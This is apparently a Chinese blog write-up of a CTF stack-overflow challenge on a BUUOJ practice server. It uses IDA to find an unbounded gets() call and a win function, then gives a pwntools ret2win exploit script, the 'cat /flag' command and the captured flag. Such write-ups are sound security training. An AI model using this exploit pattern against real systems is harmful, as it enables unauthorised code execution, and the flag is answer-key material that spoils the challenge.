实属栈溢出.

启动 IDA

这个 gets 没有限制输入,存在栈溢出漏洞.

需要我们输入来获取 flag;

在 main 函数下还有一个 fun 函数;我们可以点开看看看

是一个系统调用且 start at 401186 (待会 payload 可以用到)

双击 s 来到 stack of main 视图,这里了解了我们只需存入 15 个字节即可劫持函数返回地址

IDA 方面进行的差不多了,下面可以开始着手写脚本了

构造 exp

from pwn import *
h=remote('node3.buuoj.cn',27829)
payload=b'a'*15+p64(0x401186)
h.sendline(payload)
h.interactive()

执行

刚开始还不知道要干什么,以为又是脚本写错了,后来才发觉是要执行 cat /flag 命令

get flag{8bf972eb-867d-485b-94d5-737f5bc12947}

更新于

请我喝[茶]~( ̄▽ ̄)~*

1sme 微信支付

微信支付